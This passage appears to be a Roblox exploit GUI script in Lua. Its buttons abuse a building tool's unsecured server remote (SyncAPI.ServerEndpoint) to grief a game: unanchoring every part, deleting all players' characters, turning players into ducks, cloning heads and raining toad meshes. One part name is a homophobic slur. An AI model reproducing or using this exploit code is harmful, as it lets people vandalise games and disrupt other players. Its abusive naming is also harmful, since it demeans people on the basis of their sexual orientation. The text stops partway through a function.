scriptbyblue2spooky.Text = "Sparkle all" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Sparkles" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.34, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "unanchor" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.38, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Baseplate" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent,types) local args = { [1] = "CreatePart", [2] = types, [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Material(part,mate) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function toptexturecreate(part) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = Enum.NormalId.Top, ["TextureType"] = "Texture" } } } _(args) end function toptextureadd(part) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = Enum.NormalId.Top, ["TextureType"] = "Texture", ["Texture"] = "rbxassetid://0", ["StudsPerTileV"] = 10, ["StudsPerTileU"] = 10 } } } _(args) end hrpx = math.floor(char.HumanoidRootPart.CFrame.x) hrpz = math.floor(char.HumanoidRootPart.CFrame.z) hrpy = math.floor(char.HumanoidRootPart.CFrame.y) function SpawnBasePlate() CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn") for i,v in game.Workspace:GetChildren() do if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then spawn(function() Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz)) Color(v,Color3.fromRGB(0,0,0)) toptexturecreate(v) toptextureadd(v) while wait(1) do pcall(function()SetLocked(v,true)end) end end) end end end SpawnBasePlate() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.38, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Delete players" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Punish(player) char = player.Character DestroyPart(char) end for i,v in game.Players:GetPlayers() do --zzspawn(function() pcall(function() Punish(v) end) --end) end end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.38, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "clone heads" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function ClonePart(part) local args = { [1] = "Clone", [2] = { [1] = part }, [3] = workspace } _(args) end function clonehead(player) char = player.Character ClonePart(char.Head) end for i,v in game.Players:GetPlayers() do --spawn(function() pcall(function() clonehead(v) end) --end) end end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.38, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Duckify" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local chara = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = workspace.Part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part, }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = workspace.Part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Duckify(player) for i,v in player.Character:GetDescendants() do if v:IsA("BasePart") then pcall(function() SetLocked(v,false) SetTrans(v,1) end) end end char = player.Character --spawn(function() spawn(function() SetAnchor(true,char.HumanoidRootPart) CreatePart(char.HumanoidRootPart.CFrame,char) SetCollision(char.Part,false) SetName(char.Part, "Duck") end) repeat wait() until char:FindFirstChild("Duck") spawn(function() SetLocked(char.Duck,false) SetLocked(char.HumanoidRootPart,false) Weld(char.Duck,char.HumanoidRootPart,char.Duck) SetAnchor(false,char.Duck) AddMesh(char.Duck) end) repeat wait() until char.Duck:FindFirstChild("Mesh") MeshResize(char.Duck,Vector3.new(8,8,8)) SetMesh(char.Duck,"10749878672") SetTexture(char.Duck,"10749878886") SetAnchor(false,char.HumanoidRootPart) --end) end for i,v in game.Players:GetPlayers() do --spawn(function() Duckify(v) --end) end end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.42, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "troll rain" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- DO NOT DELETE THIS LEAVE MY CREDIT -- Rain Toad Script By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "14832966960") SetTexture(v, id) MeshResize(v, Vector3.new(0, 0, 0)) end end end local function createRainToads() while true do wait(0.01) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "Get trolled u fagz") -- Here the name of the toad changes SetAnchor(false, v) AddMesh(v) Resize(v, Vector3.new(50, 50, 30), v.CFrame) MeshResize(v, Vector3.new(15, 15, 15)) SetMesh(v, "9403473283") -- Here put it A custom mesh SetTexture(v, "9403473396") -- X2 SetCollision(v, true) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear sound.Volume = 0 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("95921788891849") -- Here they change the skybox id -- Delete this if you are going to Use it in another script -- Obviously it has those noises because there is an official script that has it and the msg was making me lazy end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.42, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "troll sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) 